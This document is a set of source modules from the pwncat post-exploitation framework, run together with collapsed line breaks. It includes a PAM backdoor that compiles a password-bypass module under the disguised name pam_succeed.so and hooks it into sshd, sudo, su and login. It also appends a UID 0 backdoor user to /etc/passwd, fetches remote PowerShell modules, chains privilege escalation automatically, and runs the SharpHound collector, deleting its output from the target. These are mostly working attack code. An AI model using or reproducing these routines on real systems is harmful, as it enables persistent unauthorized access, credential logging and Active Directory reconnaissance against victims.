"enforc" in selinux.data.mode: raise PersistError("selinux is currently in enforce mode") elif selinux.data.enabled: self.progress.log( "[yellow]warning[/yellow]: selinux is enabled; persistence may be logged" ) # We use the backdoor password. Build the string of encoded bytes # These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...}; password_hash = hashlib.sha1(password.encode("utf-8")).digest() password_hash = ",".join(hex(c) for c in password_hash) # Insert our key sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash) # Insert the log location for successful passwords sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log) yield Status("compiling pam module for target") try: # Compile our source for the remote host lib_path = pwncat.victim.compile( [io.StringIO(sneaky_source)], suffix=".so", cflags=["-shared", "-fPIE"], ldflags=["-lcrypto"], ) except (FileNotFoundError, CompilationError) as exc: raise PersistError(f"pam: compilation failed: {exc}") yield Status("locating pam module installation") # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" try: results = ( pwncat.victim.run( "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'" ) .strip() .decode("utf-8") ) if results != "": results = results.split("\n") pam_modules = os.path.dirname(results[0]) except FileNotFoundError: pass yield Status(f"pam modules located at {pam_modules}") # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules) if (Access.DIRECTORY | Access.WRITE) in access: # Copy the module to a non-suspicious path yield Status("copying shared library") pwncat.victim.env( ["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")] ) new_line = "auth\tsufficient\tpam_succeed.so\n" yield Status("adding pam auth configuration") # Add this auth method to the following pam configurations for config in ["sshd", "sudo", "su", "login"]: yield Status(f"adding pam auth configuration: {config}") config = os.path.join("/etc/pam.d", config) try: # Read the original content with pwncat.victim.open(config, "r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue # We need to know if there is a rootok line. If there is, # we should add our line after it to ensure that rootok still # works. contains_rootok = any("pam_rootok" in line for line in content) # Add this auth statement before the first auth statement for i, line in enumerate(content): # We either insert after the rootok line or before the first # auth line, depending on if rootok is present if contains_rootok and "pam_rootok" in line: content.insert(i + 1, new_line) elif not contains_rootok and line.startswith("auth"): content.insert(i, new_line) break else: content.append(new_line) content = "".join(content) try: with pwncat.victim.open(config, "w", length=len(content)) as filp: filp.write(content) except (PermissionError, FileNotFoundError): continue pwncat.victim.tamper.created_file(log) def remove(self, **unused): """ Remove this module """ try: # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" yield Status("locating pam modules") results = ( pwncat.victim.run( "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'" ) .strip() .decode("utf-8") ) if results != "": results = results.split("\n") pam_modules = os.path.dirname(results[0]) yield Status(f"pam modules located at {pam_modules}") # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules) if (Access.DIRECTORY | Access.WRITE) in access: # Remove the the module pwncat.victim.env( ["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")] ) new_line = "auth\tsufficient\tpam_succeed.so\n" # Remove this auth method from the following pam configurations for config in ["sshd", "sudo", "su", "login"]: config = os.path.join("/etc/pam.d", config) try: with pwncat.victim.open(config, "r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue # Add this auth statement before the first auth statement content = [line for line in content if line != new_line] content = "".join(content) try: with pwncat.victim.open( config, "w", length=len(content) ) as filp: filp.write(content) except (PermissionError, FileNotFoundError): continue else: raise PersistError("insufficient permissions") except FileNotFoundError as exc: # Uh-oh, some binary was missing... I'm not sure what to do here... raise PersistError(f"[red]error[/red]: {exc}") def escalate(self, user: str, password: str, log: str) -> bool: """ Escalate to the given user with this module """ try: pwncat.victim.su(user, password) except PermissionError: raise PersistError("Escalation failed. Is selinux enabled?") def connect(self, user: str, password: str, log: str) -> socket.SocketType: """ Connect to the victim with this module """ try: yield Status("connecting to host") # Connect to the remote host's ssh server sock = socket.create_connection((pwncat.victim.host.ip, 22)) except Exception as exc: raise PersistError(str(exc)) # Create a paramiko SSH transport layer around the socket yield Status("wrapping socket in ssh transport") t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: raise PersistError("ssh negotiation failed") # Attempt authentication try: yield Status("authenticating with victim") t.auth_password(user, password) except paramiko.ssh_exception.AuthenticationException: raise PersistError("incorrect password") if not t.is_authenticated(): t.close() sock.close() raise PersistError("incorrect password") # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() yield chan
class Module(PersistModule): """ Install a backdoor user (w/ UID=0) in `/etc/passwd` with our backdoor password. This allows reconnection if SSH allows password auth and privilege escalation locally with `su`. """ TYPE = PersistType.LOCAL ARGUMENTS = { **PersistModule.ARGUMENTS, "backdoor_user": Argument( str, default="pwncat", help="The name of the new user to add" ), "backdoor_pass": Argument( str, default="pwncat", help="The password for the new user" ), "shell": Argument( str, default="current", help="The shell to assign for the user" ), } PLATFORM = pwncat.platform.Platform.LINUX def install(self, user, backdoor_user, backdoor_pass, shell): """ Install this module """ # Hash the password hashed = crypt.crypt(backdoor_pass) if shell == "current": shell = pwncat.victim.shell try: with pwncat.victim.open("/etc/passwd", "r") as filp: passwd = filp.readlines() except (PermissionError, FileNotFoundError) as exc: raise PersistError(str(exc)) passwd.append(f"{backdoor_user}:{hashed}:0:0::/root:{shell}\n") passwd_content = "".join(passwd) try: with pwncat.victim.open( "/etc/passwd", "w", length=len(passwd_content) ) as filp: filp.write(passwd_content) except (PermissionError, FileNotFoundError) as exc: raise PersistError(str(exc)) # Reload the user database pwncat.victim.reload_users() def remove(self, user, backdoor_user, backdoor_pass, shell): """ Remove this module """ if user != "root": raise PersistError("only root persistence is possible") # Hash the password hashed = crypt.crypt(backdoor_pass) if shell == "current": shell = pwncat.victim.shell try: with pwncat.victim.open("/etc/passwd", "r") as filp: passwd = filp.readlines() except (PermissionError, FileNotFoundError) as exc: raise PersistError(str(exc)) for i in range(len(passwd)): entry = passwd[i].split(":") if entry[0] == backdoor_user: passwd.pop(i) break else: return passwd_content = "".join(passwd) try: with pwncat.victim.open( "/etc/passwd", "w", length=len(passwd_content) ) as filp: filp.write(passwd_content) except (PermissionError, FileNotFoundError) as exc: raise PersistError(str(exc)) # Reload the user database pwncat.victim.reload_users() def connect(self, user, backdoor_user, backdoor_pass, shell): try: yield Status("connecting to host") # Connect to the remote host's ssh server sock = socket.create_connection((pwncat.victim.host.ip, 22)) except Exception as exc: raise PersistError(str(exc)) # Create a paramiko SSH transport layer around the socket yield Status("wrapping socket in ssh transport") t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: raise PersistError("ssh negotiation failed") # Attempt authentication try: yield Status("authenticating with victim") t.auth_password(backdoor_user, backdoor_pass) except paramiko.ssh_exception.AuthenticationException: raise PersistError("incorrect password") if not t.is_authenticated(): t.close() sock.close() raise PersistError("incorrect password") # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() yield chan def escalate(self, user, backdoor_user, backdoor_pass, shell): """ Utilize this module to escalate """ pwncat.victim.run(f"su {backdoor_user}", wait=False) pwncat.victim.recvuntil(": ") pwncat.victim.client.send(backdoor_pass.encode("utf-8") + b"\n") pwncat.victim.update_user()
class Module(BaseModule): """ Import a powershell module into the current powershell context. """ ARGUMENTS = { "path": Argument(str, help="The module to load into the powershell context"), "force": Argument( Bool, help="Force module loading, even if it has been loaded before", default=False, ), } PLATFORM = [Windows] def __init__(self): self.imported_modules = [] def resolve_psmodule(self, session: "pwncat.manager.Session", path: str): """Resolve a module name into a file-like object""" if path.startswith("http://") or path.startswith("https://"): # Load from a URL r = requests.get(path, stream=True) if r.status_code != 200: raise PSModuleNotFoundError(path) return path.split("/")[-1], BytesIO(r.content + b"\n") orig_path = path path = Path(path) if path.is_file(): # Load from absolute or CWD path return path.name, path.open("rb") elif (Path(session.config["psmodules"]) / path).is_file(): # Load from local modules directory return path.name, (Path(session.config["psmodules"]) / path).open("rb") elif len(orig_path.lstrip("/").split("/")) > 2: # Load from githubusercontent.com ( path = "user/repo/path/to/file.ps1" ) orig_path = orig_path.lstrip("/").split("/") orig_path.insert(2, "master") orig_path = "/".join(orig_path) url = f"https://raw.githubusercontent.com/{orig_path}" r = requests.get(url, stream=True) if r.status_code != 200: raise PSModuleNotFoundError(orig_path) return (path.name, BytesIO(r.content + b"\n")) else: raise PSModuleNotFoundError(orig_path) def run(self, session: "pwncat.manager.Session", path, force): name, filp = self.resolve_psmodule(session, path) if name in session.platform.psmodules and not force: return session.platform.powershell(filp) session.platform.psmodules.append(name)
class Module(BaseModule): """ Gather a list of currently installed persistence modules. This module allows you to perform actions such as escalation and removal across a list of modules. You can apply filters based on the arguments of specific modules or with a module name itself. If you provide an argument filter then only modules with a matching argument name will be displayed. """ ARGUMENTS = { "module": Argument(str, default=None, help="Module name to look for"), "escalate": Argument( Bool, default=False, help="Utilize matched modules for escalation" ), "remove": Argument(Bool, default=False, help="Remove all matched modules"), } ALLOW_KWARGS = True PLATFORM = pwncat.platform.Platform.NO_HOST def run(self, module, escalate, remove, **kwargs): """ Execute this module """ if pwncat.victim.host is not None: query = pwncat.victim.session.query(pwncat.db.Persistence).filter_by( host_id=pwncat.victim.host.id ) else: query = pwncat.victim.session.query(pwncat.db.Persistence) if module is not None: query = query.filter_by(method=module) # Grab all the rows # We also filter here for any other key-value arguments passed # to the `run` call. We ensure the relevant key exists, and # that it is equal to the specified value, unless the key is None. # If a key is None in the database, we assume it can take on any # value and utilize it as is. This is mainly for the `user` argument # as some persistence methods apply to all users. modules = [ InstalledModule( persist=row, module=pwncat.modules.find(row.method, ignore_platform=True), ) for row in query.all() if all( [ key in row.args and (row.args[key] == value or row.args[key] is None) for key, value in kwargs.items() ] ) ] if remove: for module in modules: yield Status(f"removing {module.name}") module.remove(progress=self.progress) return if escalate: for module in modules: yield Status(f"escalating w/ [cyan]{module.name}[/cyan]") try: # User is a special case. It can be passed on because some modules # apply to all users, which means their `args` will contain `None`. if "user" in kwargs: module.escalate(user=kwargs["user"], progress=self.progress) else: module.escalate(progress=self.progress) # Escalation succeeded! return except pwncat.modules.PersistError: # Escalation failed pass yield from modules
class EscalateModule(BaseModule): """ The base module for all escalation modules. This module is responsible for enumerating ``Technique`` objects which can be used to attempt various escalation actions. With no arguments, a standard escalate module will return an ``EscalateResult`` object which contains all techniques enumerated and provides helper methods for programmatically performing escalation and combining results from multiple modules. Alternatively, the ``exec``, ``write``, and ``read`` arguments can be used to have the module automatically attempt the respective operation basedo on the arguments passed. """ ARGUMENTS = { "user": Argument(str, default="root", help="The user you would like to escalate to"), "exec": Argument(Bool, default=False, help="Attempt escalation only using this module"), "write": Argument(Bool, default=False, help="Attempt to write a file using this module"), "read": Argument(Bool, default=False, help="Attempt to read a file using this module"), "shell": Argument(str, default="current", help="The shell to use for exec"), "path": Argument(str, default=None, help="The file to read/write"), "data": Argument(str, default=None, help="The data to write to a file"), } # This causes the BaseModule to collapse a single generator result # into it's value as opposed to returning a list with one entry. # This allows us to use `yield Status()` to update the progress # while still returning a single value COLLAPSE_RESULT = True PRIORITY = 100 """ The priority of this escalation module. Values <= 0 are reserved. Indicates the order in which techniques are executed when attempting escalation. Lower values execute first. """ def run(self, user, exec, read, write, shell, path, data, **kwargs): """ This method is not overriden by subclasses. Subclasses should should implement the ``enumerate`` method which yields techniques. Running a module results in an EnumerateResult object which can be formatted by the default `run` command or used to execute various privilege escalation primitives utilizing the techniques enumerated. """ if (exec + read + write) > 1: raise ArgumentFormatError( "only one of exec, read, and write may be specified") if path is None and (read or write): raise ArgumentFormatError("path not specified for read/write") if data is None and write: raise ArgumentFormatError("data not specified for write") result = EscalateResult({}) yield Status("gathering techniques") for technique in self.enumerate(**kwargs): yield Status(technique) result.add(technique) if shell == "current": shell = pwncat.victim.shell if exec: yield result.exec(user=user, shell=shell, progress=self.progress) elif read: filp = result.read(user=user, filepath=path, progress=self.progress) yield FileContentsResult(path, filp) elif write: yield result.write(user=user, filepath=path, data=data, progress=self.progress) else: yield result def enumerate(self, **kwargs) -> "Generator[Technique, None, None]": """ Enumerate techniques for this module. Each technique must implement at least one capability, and all techniques will be used together to escalate privileges. Any custom arguments are passed to this method through keyword arguments. None of the default arguments are passed here. """ while False: yield None raise NotImplementedError def human_name(self, tech: "Technique"): """ Defines the human readable name/description of this vuln """ return self.name
class Module(BaseModule): """ Attempt to automatically escalate to the given user through any path available. This may cause escalation through multiple users. """ ARGUMENTS = { "user": Argument(str, default="root", help="The target user for escalation"), "exec": Argument(Bool, default=False, help="Attempt to execute a shell as the given user"), "read": Argument(Bool, default=False, help="Attempt to read a file as the given user"), "write": Argument(Bool, default=False, help="Attempt to write a file as the given user"), "shell": Argument(str, default="current", help="The shell to use for escalation"), "path": Argument(str, default=None, help="The path to the file to be read/written"), "data": Argument(str, default=None, help="The data to be written"), } COLLAPSE_RESULT = True PLATFORM = pwncat.platform.Platform.ANY def run(self, user, exec, write, read, path, data, shell): whole_chain = EscalateChain(None, chain=[]) tried_users = [user] result_list = [] target_user = user if (exec + write + read) > 1: raise pwncat.modules.ArgumentFormatError( "only one of exec/write/read may be used") if (read or write) and path is None: raise ArgumentFormatError("file path not specified") if write and data is None: raise ArgumentFormatError("file content not specified") if shell == "current": shell = pwncat.victim.shell # Collect escalation options result = EscalateResult(techniques={}) yield Status("gathering techniques") for module in pwncat.modules.match(r"escalate.*", base=EscalateModule): try: yield Status(f"gathering techniques from {module.name}") result.extend(module.run(progress=self.progress)) except (ArgumentFormatError, MissingArgument): continue while True: try: if exec: yield Status(f"attempting escalation to {target_user}") chain = result.exec(target_user, shell, self.progress) whole_chain.extend(chain) yield whole_chain return elif write: yield Status(f"attempting file write as {target_user}") result.write(target_user, path, data, self.progress) whole_chain.unwrap() return elif read: yield Status(f"attempting file read as {target_user}") filp, _ = result.read(target_user, path, self.progress) yield FileContentsResult(path, filp) return else: # We just wanted to list all techniques from all modules yield result return except EscalateError: pass for user in result.techniques.keys(): # Ignore already tried users if user in tried_users: continue # Mark this user as tried tried_users.append(user) try: yield Status(f"attempting recursion to {user}") # Attempt escalation chain = result.exec(user, shell, self.progress) # Extend the chain with this new chain whole_chain.extend(chain) # Save our current results in the list result_list.append(result) # Get new results for this user result = EscalateResult(techniques={}) yield Status(f"success! gathering new techniques...") for module in pwncat.modules.match(r"escalate.*", base=EscalateModule): try: result.extend(module.run(progress=self.progress)) except ( ArgumentFormatError, MissingArgument, ): continue # Try again break except EscalateError: continue else: if not result_list: # There are no more results to try... raise EscalateError("no escalation path found") # The loop was exhausted. This user didn't work. # Go back to the previous step, but don't try this user whole_chain.pop() result = result_list.pop()
class Module(BaseModule): """ Load the Invoke-BloodHound cmdlet and execute it. Automatically download the resulting zip file to a defined location and remove it from the target. """ PLATFORM = [Windows] ARGUMENTS = { "CollectionMethod": Argument( List(str), default=None, help="Specifies the collection method(s) to be used.", ), "Stealth": Argument( Bool, default=None, help="Use the stealth collection options (default: false)", ), "Domain": Argument( str, default=None, help="Specifies the domain to enumerate (default: current)", ), "WindowsOnly": Argument( Bool, default=None, help= "Limits computer collection to systems that have an operatingsystem attribute that matches *Windows", ), "ZipFilename": Argument(str, help="Name for the zip file output by data collection"), "NoSaveCache": Argument( Bool, default=None, help= "Don't write the cache file to disk. Caching will still be performed in memory.", ), "EncryptZip": Argument(Bool, default=None, help="Encrypt the zip file with a random password"), "InvalidateCache": Argument(Bool, default=None, help="Invalidate and rebuild the cache file"), "SearchBase": Argument( str, default=None, help= "DistinguishedName at which to start LDAP searches. Equivalent to the old -Ou option", ), "LdapFilter": Argument( str, default=None, help= "Append this ldap filter to the search filter to further filter the results enumerated", ), "DomainController": Argument( str, default=None, help= "Domain controller to which to connect. Specifying this can result in data loss", ), "LdapPort": Argument( int, default=None, help="Port LDAP is running on (default: 389/686 for LDAPS)", ), "SecureLDAP": Argument( Bool, default=None, help="Connect to LDAPS (LDAP SSL) instead of regular LDAP", ), "DisableKerberosSigning": Argument( Bool, default=None, help= "Disables kerberos signing/sealing, making LDAP traffic viewable", ), "LdapUsername": Argument( str, default=None, help= "Username for connecting to LDAP. Use this if you're using a non-domain account for connecting to computers", ), "LdapPassword": Argument(str, default=None, help="Password for connecting to LDAP"), "SkipPortScan": Argument(Bool, default=None, help="Skip SMB port checks when connecting to computers"), "PortScanTimeout": Argument(int, default=None, help="Timeout for SMB port checks"), "ExcludeDomainControllers": Argument( Bool, default=None, help= "Exclude domain controllers from enumeration (useful to avoid Microsoft ATP/ATA)", ), "Throttle": Argument(int, default=None, help="Throttle requests to computers (in milliseconds)"), "Jitter": Argument(int, default=None, help="Add jitter to throttle"), "OverrideUserName": Argument(str, default=None, help="Override username to filter for NetSessionEnum"), "NoRegistryLoggedOn": Argument( Bool, default=None, help="Disable remote registry check in LoggedOn collection", ), "DumpComputerStatus": Argument( Bool, default=None, help="Dumps error codes from attempts to connect to computers", ), "RealDNSName": Argument(str, default=None, help="Overrides the DNS name used for API calls"), "CollectAllProperties": Argument(Bool, default=None, help="Collect all string LDAP properties on objects"), "StatusInterval": Argument(int, default=None, help="Interval for displaying status in milliseconds"), "Loop": Argument(Bool, default=None, help="Perform looping for computer collection"), "LoopDuration": Argument(str, default=None, help="Duration to perform looping (default: 02:00:00)"), "LoopInterval": Argument( str, default=None, help="Interval to sleep between loops (default: 00:05:00)", ), } SHARPHOUND_URL = "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1" def run(self, session: "pwncat.manager.Session", **kwargs): # First, we need to load BloodHound try: yield Status("importing Invoke-BloodHound cmdlet") session.run("manage.powershell.import", path=self.SHARPHOUND_URL) except (ModuleFailed, PowershellError) as exc: raise ModuleFailed(f"while importing Invoke-BloodHound: {exc}") # Try to create a temporary file. We're just going to delete it, but # this gives us a tangeable temporary path to put the zip file. yield Status("locating a suitable temporary file location") with session.platform.tempfile(suffix="zip", mode="w") as filp: file_path = filp.name path = session.platform.Path(file_path) path.unlink() # Note the local path to the downloaded zip file and set it to our temp # file path we just created/deleted. output_path = kwargs["ZipFilename"] kwargs["ZipFilename"] = path.parts[-1] kwargs["OutputDirectory"] = str(path.parent) # Build the arguments bloodhound_args = {k: v for k, v in kwargs.items() if v is not None} argument_list = ["Invoke-BloodHound"] for k, v in bloodhound_args.items(): if isinstance(v, bool) and v: argument_list.append(f"-{k}") elif not isinstance(v, bool): argument_list.append(f"-{k}") argument_list.append(str(v)) powershell_command = shlex.join(argument_list) # Execute BloodHound try: yield Status("executing bloodhound collector") session.platform.powershell(powershell_command) except (ModuleFailed, PowershellError) as exc: raise ModuleFailed(f"Invoke-BloodHound: {exc}") output_name = path.parts[-1] path_list = list(path.parent.glob(f"**_{output_name}")) if not path_list: raise ModuleFailed("unable to find bloodhound output") # There should only be one result path = path_list[0] # Download the contents of the zip file try: yield Status(f"downloading results to {output_path}") with open(output_path, "wb") as dst: with path.open("rb") as src: shutil.copyfileobj(src, dst) except (FileNotFoundError, PermissionError) as exc: if output_path in str(exc): try: path.unlink() except FileNotFoundError: pass raise ModuleFailed(f"permission error: {output_path}") from exc raise ModuleFailed( "bloodhound failed or access to output was denied") # Delete the zip from the target yield Status("deleting collected results from target") path.unlink()